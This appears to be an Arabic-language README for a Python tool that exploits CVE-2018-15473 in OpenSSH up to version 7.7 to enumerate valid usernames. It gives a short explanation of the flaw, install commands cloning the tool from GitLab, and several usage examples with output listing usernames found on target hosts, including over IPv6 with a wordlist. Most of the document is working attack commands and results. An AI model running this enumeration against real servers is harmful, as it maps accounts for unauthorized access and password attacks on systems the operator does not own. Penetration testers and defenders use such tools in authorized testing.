
أداة تعداد مستخدمي SSH تستغل CVE-2018-15473 لتحديد أسماء المستخدمين الصالحة على خوادم OpenSSH عبر تحليل المصادقة القائم على التوقيت.
OpenSSH حتى الإصدار 7.7 عرضة لثغرة تعداد المستخدمين بسبب عدم تأجيل الخروج للمستخدم غير الصالح حتى يتم تحليل الحزمة التي تحتوي على الطلب بالكامل، ذات الصلة بـ auth2-gss.c وauth2-hostbased.c وauth2-pubkey.c.
قد تحتاج إلى تثبيت الحزمة المكافئة openssl-dev الخاصة بتوزيعتك
# NOTE: if you're installing on kali, you can skip the pip install; paramiko is already there.
git clone https://gitlab.com/epi052/cve-2018-15473.git
cd cve-2018-15473
pip install -r requirements.txt
# - OR -
pipenv install -r requirements.txt # if you're cool like that
chmod u+x ssh-username-enum.py
اسم مستخدم واحد
(cve-2018-15473)─> ./ssh-username-enum.py -u epi 192.168.1.2
[+] epi found!
استخدم قائمة كلمات مع 10 خيوط (الافتراضي هو 4)
(cve-2018-15473)─> ./ssh-username-enum.py -t 10 -w /usr/share/metasploit-framework/data/wordlists/unix_users.txt 192.168.1.2
[+] avahi found!
[+] avahi-autoipd found!
[+] backup found!
[+] daemon found!
[+] bin found!
------8<------
عنوان IPv6 على المنفذ 2222 وزيادة في التفاصيل!
(cve-2018-15473)─> ./ssh-username-enum.py -6 -p 2222 -v -w /usr/share/metasploit-framework/data/wordlists/unix_users.txt '::1'
[-] 4Dgifts not found
[-] demo not found
[-] checkfs not found
[-] anon not found
[-] EZsetup not found
[-] auditor not found
[-] demos not found
[-] OutOfBox not found
[-] checkfsys not found
[+] avahi found!
[-] diag not found
[-] ROOT not found
[-] checksys not found
[-] cmwlogin not found
[+] avahi-autoipd found!
------8<------